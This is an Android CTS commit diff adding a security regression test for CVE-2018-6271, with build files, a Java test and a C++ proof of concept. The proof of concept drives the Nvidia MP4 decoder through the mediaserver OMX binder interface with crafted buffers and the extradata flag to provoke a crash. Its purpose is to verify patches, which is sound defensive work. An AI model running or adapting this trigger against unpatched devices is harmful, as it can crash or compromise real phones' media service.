[RESTRICT AUTOMERGE]: CTS test for Android Security CVE-2018-6271
Bug: 126634840
Bug: 80198474
Bug: 127856694
Test: cts-tradefed run cts -m CtsSecurityBulletinHostTestCases -t android.security.cts.Poc19_02#runPocCVE_2018_6267
Change-Id: Id57dee2e3ec7f6ff3dcdbc30222f13be813c20e6
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
index bdd1c6f..654222a 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -114,6 +114,11 @@
* This binary only exists in 32-bit.
*/
BINARY_EXCEPTIONS.add("CVE-2018-626732");
+
+ /**
+ * This binary only exists in 32-bit.
+ */
+ BINARY_EXCEPTIONS.add("CVE-2018-627132");
}
/**
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index b65d6e0..d7f4d95 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -219,6 +219,7 @@
<option name="cleanup" value="true" />
<option name="push" value="CVE-2018-626732->/data/local/tmp/CVE-2018-6267" />
+ <option name="push" value="CVE-2018-627132->/data/local/tmp/CVE-2018-6271" />
<option name="append-bitness" value="false" />
</target_preparer>
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/Android.mk
new file mode 100644
index 0000000..7a55a33
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/Android.mk
@@ -0,0 +1,50 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-6271
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+
+LOCAL_C_INCLUDES:= \
+ $(TOP)/frameworks/av/include/media/ \
+ $(TOP)/frameworks/av/include/media/stagefright/timedtext \
+ $(TOP)/frameworks/native/include/media/hardware \
+ $(TOP)/frameworks/native/include/media/openmax \
+ $(TOP)/hardware/qcom/media/msm8996/mm-core/inc \
+ $(TOP)/hardware/qcom/display/msm8996/libgralloc \
+ $(TOP)/frameworks/av/media/libstagefright/omx \
+ $(TOP)/frameworks/av/media/libstagefright/ \
+
+LOCAL_SHARED_LIBRARIES := \
+ libstagefright \
+ libstagefright_omx \
+ libstagefright_foundation \
+ libutils \
+ libmedia \
+ liblog \
+ libbinder \
+ libcutils \
+ libui \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/poc.cpp
new file mode 100644
index 0000000..0d1ff08
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/poc.cpp
@@ -0,0 +1,179 @@
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <binder/ProcessState.h>
+#include <cutils/properties.h>
+#include <media/IMediaCodecService.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <media/hardware/HardwareAPI.h>
+#include <media/omx/1.0/WOmx.h>
+#include <media/stagefright/OMXClient.h>
+#include <media/stagefright/foundation/AString.h>
+#include <media/stagefright/omx/OMXUtils.h>
+#include <utils/Log.h>
+#include <utils/NativeHandle.h>
+#include "OMX_Component.h"
+#include "OMX_IndexExt.h"
+#include "OMX_QCOMExtns.h"
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+
+ virtual void onMessages(const std::list<omx_message> &) {}
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+struct DeathRecipient : public IBinder::DeathRecipient {
+ DeathRecipient() : mDied(false) {}
+ bool mDied;
+ virtual void binderDied(const wp<IBinder> &who __unused) { mDied = true; }
+ bool died() const { return mDied; }
+};
+
+bool connectOMX(sp<IOMX> &omx) {
+ sp<IBinder> binder;
+ sp<IServiceManager> sm = defaultServiceManager();
+
+ binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> service = interface_cast<IMediaPlayerService>(binder);
+
+ if (binder == NULL) {
+ ALOGE("[-] cannot get the media player service");
+ return false;
+ }
+ omx = service->getOMX();
+ if (omx == NULL) {
+ ALOGE("[-] cannot get the OMX interface");
+ return false;
+ }
+ return true;
+}
+
+int main() {
+ sp<IOMX> service;
+ if (connectOMX(service) == false) {
+ ALOGE("[+] Cannot obtain IOMX from connectOMX");
+ return EXIT_FAILURE;
+ }
+
+ status_t err;
+ sp<IOMXNode> omxNode;
+ int fenceFd = -1;
+ Vector<sp<IMemory>> mInBuffers;
+ Vector<sp<IMemory>> mOutBuffers;
+
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+ const char *codecName = "OMX.Nvidia.mp4.decode";
+
+ AString name(codecName);
+ err = service->allocateNode(name.c_str(), observer, &omxNode);
+ if (err != OK || omxNode == NULL) {
+ ALOGE("[+] Unable to instantiate a %s", name.c_str());
+ return EXIT_FAILURE;
+ }
+
+ // Initiate transition Loaded->Idle
+ err = omxNode->sendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ if (err != OK) {
+ ALOGE("sendCommand, err: %d", err);
+ return EXIT_FAILURE;
+ }
+
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ InitOMXParams(&def);
+ def.nPortIndex = 0;
+ OMX_INDEXTYPE omx_indextype = OMX_IndexParamPortDefinition;
+ err = omxNode->getParameter(omx_indextype, &def, sizeof(def));
+ if (err != OK) {
+ ALOGI("port 0: %u buffers of size 0x%x", def.nBufferCountActual,
+ def.nBufferSize);
+ return EXIT_FAILURE;
+ }
+
+ int inMemSize = def.nBufferCountActual * def.nBufferSize;
+ int inBufferCnt = def.nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inBufferSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ InitOMXParams(&def);
+ def.nPortIndex = 1;
+ err = omxNode->getParameter(omx_indextype, &def, sizeof(def));
+ if (err != OK) {
+ ALOGI("port 1: %u buffers of size 0x%x", def.nBufferCountActual,
+ def.nBufferSize);
+ return EXIT_FAILURE;
+ }
+
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outBufferSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ sp<IMemory> inMemory = dealerIn->allocate(inBufferSize);
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ memset(inMemory->pointer(), 0x7c, inBufferSize);
+ OMXBuffer omxbuffer(inMemory);
+ mInBuffers.push(inMemory);
+ err = omxNode->useBuffer(0, omxbuffer, &inBufferId[i]);
+ if (err != OK) {
+ ALOGE("port 0 err: %d useBuffer,inBufferId[%d]: %d,inBufferSize=%d", err, i,
+ inBufferId[i], inBufferSize);
+ return EXIT_FAILURE;
+ }
+ }
+
+ sp<IMemory> outMemory = dealerOut->allocate(outBufferSize);
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ memset(outMemory->pointer(), 0x2f, outBufferSize);
+ OMXBuffer omxbuffer(outMemory);
+ mOutBuffers.push(outMemory);
+ err = omxNode->useBuffer(1, omxbuffer, &outBufferId[i]);
+ if (err != OK) {
+ ALOGE("port 1 err: %d useBuffer,outBufferId[%d]: %d,outBufferSize=%d", err,
+ i, outBufferId[i], outBufferSize);
+ return EXIT_FAILURE;
+ }
+ }
+
+ err = omxNode->sendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ if (err != OK) {
+ ALOGE("sendCommand, err: %d", err);
+ return EXIT_FAILURE;
+ }
+
+ sleep(5);
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ OMX_U32 flags = OMX_BUFFERFLAG_EXTRADATA;
+ int64_t timeUs = 0x00010001;
+ OMXBuffer omxbuffer(0, inBufferSize);
+ err = omxNode->emptyBuffer(inBufferId[i], omxbuffer, flags, timeUs, fenceFd);
+ if (err != OK) {
+ ALOGE("emptyBuffer, err: %d", err);
+ return EXIT_FAILURE;
+ }
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ err = omxNode->fillBuffer(outBufferId[i], OMXBuffer::sPreset);
+ if (err != OK) {
+ ALOGE("fillBuffer, err: %d", err);
+ return EXIT_FAILURE;
+ }
+ }
+
+ omxNode->freeNode();
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_02.java
index a863c0e..9f405bf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_02.java
@@ -31,4 +31,15 @@
String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
assertNotMatchesMultiLine("Fatal signal 11.*?>>> /system/bin/mediaserver <<<", logcat);
}
+
+ /**
+ * b/80198474
+ */
+ @SecurityTest(minPatchLevel = "2019-02")
+ public void testPocCVE_2018_6271() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPocNoOutput("CVE-2018-6271", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine("Fatal signal 11.*?>>> /system/bin/mediaserver <<<", logcat);
+ }
}